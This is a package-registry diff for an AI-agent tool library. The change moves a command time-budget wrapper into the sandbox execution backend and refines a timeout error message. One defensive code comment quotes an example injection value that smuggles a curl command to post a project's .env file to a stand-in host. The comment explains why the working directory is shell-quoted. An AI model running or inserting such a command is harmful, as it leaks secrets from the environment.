@molecule/api-ai-tools 1.0.4 → 1.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -3,7 +3,7 @@ AUTO-GENERATED — DO NOT EDIT THIS FILE.
3
3
  Generated by `mlcl sync-docs` from the package's src/index.ts JSDoc + mlcl/registry.json.
4
4
  Edits here are overwritten on the next commit (molecule's pre-commit hook regenerates).
5
5
  To change this document, edit the module-level JSDoc in src/index.ts.
6
- Generated: 2026-09-13T01:33:38.011Z
6
+ Generated: 2026-09-13T03:42:47.996Z
7
7
  -->
8
8
 
9
9
  # @molecule/api-ai-tools
@@ -86,7 +86,17 @@ interface ExecutionBackend {
86
86
  */
87
87
  run(
88
88
  command: string,
89
- opts?: { cwd?: string; timeout?: number },
89
+ opts?: {
90
+ cwd?: string
91
+ timeout?: number
92
+ /**
93
+ * A budget (ms) the backend enforces INSIDE its own shell, after any
94
+ * environment sourcing a consumer wraps around the command — so an
95
+ * overrun is stopped where it runs and the output so far still comes
96
+ * back, with exit code 124. A backend that cannot enforce it ignores it.
97
+ */
98
+ budgetMs?: number
99
+ },
90
100
  ): Promise<{ stdout: string; stderr: string; exitCode: number }>
91
101
  }
92
102
  ```
@@ -209,12 +219,13 @@ interface ToolBuildConfig {
209
219
  execTimeoutMs?: number
210
220
 
211
221
  /**
212
- * Budget (ms) enforced INSIDE the sandbox for a single `exec_command`: the
213
- * command runs under `timeout`, so when it overruns it is stopped and the
214
- * tool still returns everything it printed until then (exit code 124 plus
215
- * an `error` naming the limit). Without this, an outer per-tool timeout
216
- * races the run and discards minutes of build or test output along with
217
- * the result. Set it a little under that outer timeout. Unset = no wrapper.
222
+ * Budget (ms) for a single `exec_command`, passed to `backend.run` as
223
+ * `budgetMs`: the backend runs the command under `timeout` in its own shell,
224
+ * so when it overruns it is stopped there and the tool still returns
225
+ * everything it printed until then (exit code 124 plus an `error` naming
226
+ * the limit). Without this, an outer per-tool timeout races the run and
227
+ * discards minutes of build or test output along with the result. Set it a
228
+ * little under that outer timeout. Unset = no budget.
218
229
  */
219
230
  commandBudgetMs?: number
220
231
 
@@ -1 +1 @@
1
- {"version":3,"file":"sandbox.d.ts","sourceRoot":"","sources":["../../src/backends/sandbox.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAEH,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,aAAa,CAAA;AAGnD,sFAAsF;AACtF,UAAU,WAAW;IACnB,QAAQ,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,MAAM,CAAC,CAAA;IACvC,SAAS,CAAC,IAAI,EAAE,MAAM,EAAE,OAAO,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC,CAAA;IACvD,UAAU,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC,CAAA;IACvC,OAAO,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,KAAK,CAAC;QAAE,IAAI,EAAE,MAAM,CAAC;QAAC,IAAI,EAAE,MAAM,GAAG,WAAW,CAAA;KAAE,CAAC,CAAC,CAAA;IACnF,mEAAmE;IAEnE,CAAC,GAAG,EAAE,MAAM,GAAG,GAAG,CAAA;CACnB;AAED;;;;;;;GAOG;AACH,wBAAgB,oBAAoB,CAClC,OAAO,EAAE,WAAW,EACpB,WAAW,SAAe,GACzB,gBAAgB,CAiClB"}
1
+ {"version":3,"file":"sandbox.d.ts","sourceRoot":"","sources":["../../src/backends/sandbox.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAEH,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,aAAa,CAAA;AAGnD,sFAAsF;AACtF,UAAU,WAAW;IACnB,QAAQ,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,MAAM,CAAC,CAAA;IACvC,SAAS,CAAC,IAAI,EAAE,MAAM,EAAE,OAAO,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC,CAAA;IACvD,UAAU,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC,CAAA;IACvC,OAAO,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,KAAK,CAAC;QAAE,IAAI,EAAE,MAAM,CAAC;QAAC,IAAI,EAAE,MAAM,GAAG,WAAW,CAAA;KAAE,CAAC,CAAC,CAAA;IACnF,mEAAmE;IAEnE,CAAC,GAAG,EAAE,MAAM,GAAG,GAAG,CAAA;CACnB;AAED;;;;;;;GAOG;AACH,wBAAgB,oBAAoB,CAClC,OAAO,EAAE,WAAW,EACpB,WAAW,SAAe,GACzB,gBAAgB,CA2ClB"}
@@ -35,7 +35,17 @@ export function createSandboxBackend(sandbox, projectRoot = '/workspace') {
35
35
  // payload smuggled via cwd (e.g. "/workspace/. && curl -d @/workspace/.env evil")
36
36
  // executed ungated. Quoting makes a malicious cwd simply fail `cd`; legitimate
37
37
  // metacharacter-free paths are unaffected.
38
- const fullCommand = opts?.cwd ? `cd ${shellQuote(opts.cwd)} && ${command}` : command;
38
+ const anchored = opts?.cwd ? `cd ${shellQuote(opts.cwd)} && ${command}` : command;
39
+ // A budget runs the WHOLE anchored command (cd, any environment a consumer
40
+ // sourced around it, the command itself) under `timeout` in one shell, so an
41
+ // overrun is stopped where it runs — the process group included — and what it
42
+ // printed still comes back, with exit code 124. Wrapping only the inner
43
+ // command would run it in a child shell that never sees unexported variables
44
+ // the consumer's sourcing set.
45
+ const budgetSeconds = opts?.budgetMs ? Math.max(1, Math.round(opts.budgetMs / 1000)) : 0;
46
+ const fullCommand = budgetSeconds
47
+ ? `timeout -k 5 ${budgetSeconds} bash -c ${shellQuote(anchored)}`
48
+ : anchored;
39
49
  // sandbox.exec is the Sandbox interface method — runs inside Docker, inherently sandboxed
40
50
  const result = await sandbox.exec(fullCommand, { timeout: opts?.timeout });
41
51
  return { stdout: result.stdout, stderr: result.stderr, exitCode: result.exitCode };
@@ -1 +1 @@
1
- {"version":3,"file":"tools.d.ts","sourceRoot":"","sources":["../src/tools.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG;AAEH,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,kBAAkB,CAAA;AAG9C,OAAO,KAAK,EAAE,gBAAgB,EAAE,eAAe,EAAE,MAAM,YAAY,CAAA;AAsBnE;;;;;;GAMG;AACH,wBAAgB,UAAU,CAAC,OAAO,EAAE,gBAAgB,EAAE,MAAM,CAAC,EAAE,eAAe,GAAG,MAAM,EAAE,CAwqBxF"}
1
+ {"version":3,"file":"tools.d.ts","sourceRoot":"","sources":["../src/tools.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG;AAEH,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,kBAAkB,CAAA;AAG9C,OAAO,KAAK,EAAE,gBAAgB,EAAE,eAAe,EAAE,MAAM,YAAY,CAAA;AAsBnE;;;;;;GAMG;AACH,wBAAgB,UAAU,CAAC,OAAO,EAAE,gBAAgB,EAAE,MAAM,CAAC,EAAE,eAAe,GAAG,MAAM,EAAE,CA8qBxF"}
package/dist/tools.js CHANGED
@@ -502,15 +502,17 @@ export function buildTools(backend, config) {
502
502
  try {
503
503
  // exec_command runs installs/builds/tests — the old 30s hardcap killed
504
504
  // those spuriously; use the (generous, caller-configurable) budget.
505
- // With a command budget, the command runs under `timeout` inside the
506
- // sandbox: an overrun is stopped there (the whole process group) and
507
- // everything printed until then comes back with exit code 124, instead
508
- // of an outer timeout discarding the run and its output together.
505
+ // With a command budget, the BACKEND runs the command under `timeout` in
506
+ // its own shell (after any environment a consumer sources around it): an
507
+ // overrun is stopped there, the whole process group, and everything
508
+ // printed until then comes back with exit code 124 instead of an outer
509
+ // timeout discarding the run and its output together.
509
510
  const budgetSeconds = commandBudgetMs ? Math.max(1, Math.round(commandBudgetMs / 1000)) : 0;
510
- const wrapped = budgetSeconds
511
- ? `timeout -k 5 ${budgetSeconds} bash -c ${shellQuote(command)}`
512
- : command;
513
- const result = await backend.run(wrapped, { cwd, timeout: execTimeoutMs });
511
+ const result = await backend.run(command, {
512
+ cwd,
513
+ timeout: execTimeoutMs,
514
+ ...(commandBudgetMs ? { budgetMs: commandBudgetMs } : {}),
515
+ });
514
516
  // truncateMiddle (not truncate): a failing build/test/migration puts its
515
517
  // error at the TAIL, so keep the head AND the tail — head-only truncation
516
518
  // strands the executor with passing progress and no failure reason.
@@ -522,8 +524,12 @@ export function buildTools(backend, config) {
522
524
  stderr,
523
525
  exitCode: result.exitCode,
524
526
  error: `The command was stopped after ${budgetSeconds}s, this tool's limit; the output above is ` +
525
- 'everything it printed until then. Run a smaller unit per command (one test file, one ' +
526
- 'build step) instead of chaining a build and a whole suite.',
527
+ 'everything it printed until then' +
528
+ (/\|\s*(tail|head)\b/.test(command)
529
+ ? ' — and a pipe through tail/head holds everything back until the command ends, so it printed nothing: run it without the pipe (use a line reporter and let the output stream)'
530
+ : '') +
531
+ '. Run a smaller unit per command (one test file, one build step) instead of chaining ' +
532
+ 'a build and a whole suite.',
527
533
  };
528
534
  }
529
535
  return { stdout, stderr, exitCode: result.exitCode };
package/dist/types.d.ts CHANGED
@@ -28,6 +28,13 @@ export interface ExecutionBackend {
28
28
  run(command: string, opts?: {
29
29
  cwd?: string;
30
30
  timeout?: number;
31
+ /**
32
+ * A budget (ms) the backend enforces INSIDE its own shell, after any
33
+ * environment sourcing a consumer wraps around the command — so an
34
+ * overrun is stopped where it runs and the output so far still comes
35
+ * back, with exit code 124. A backend that cannot enforce it ignores it.
36
+ */
37
+ budgetMs?: number;
31
38
  }): Promise<{
32
39
  stdout: string;
33
40
  stderr: string;
@@ -75,12 +82,13 @@ export interface ToolBuildConfig {
75
82
  */
76
83
  execTimeoutMs?: number;
77
84
  /**
78
- * Budget (ms) enforced INSIDE the sandbox for a single `exec_command`: the
79
- * command runs under `timeout`, so when it overruns it is stopped and the
80
- * tool still returns everything it printed until then (exit code 124 plus
81
- * an `error` naming the limit). Without this, an outer per-tool timeout
82
- * races the run and discards minutes of build or test output along with
83
- * the result. Set it a little under that outer timeout. Unset = no wrapper.
85
+ * Budget (ms) for a single `exec_command`, passed to `backend.run` as
86
+ * `budgetMs`: the backend runs the command under `timeout` in its own shell,
87
+ * so when it overruns it is stopped there and the tool still returns
88
+ * everything it printed until then (exit code 124 plus an `error` naming
89
+ * the limit). Without this, an outer per-tool timeout races the run and
90
+ * discards minutes of build or test output along with the result. Set it a
91
+ * little under that outer timeout. Unset = no budget.
84
92
  */
85
93
  commandBudgetMs?: number;
86
94
  /**
@@ -1 +1 @@
1
- {"version":3,"file":"types.d.ts","sourceRoot":"","sources":["../src/types.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"types.d.ts","sourceRoot":"","sources":["../src/types.ts"],"names":[],"mappings":"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"}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@molecule/api-ai-tools",
3
- "version": "1.0.4",
3
+ "version": "1.0.6",
4
4
  "description": "Shared AI agent tools with backend abstraction for sandbox and local execution",
5
5
  "type": "module",
6
6
  "main": "dist/index.js",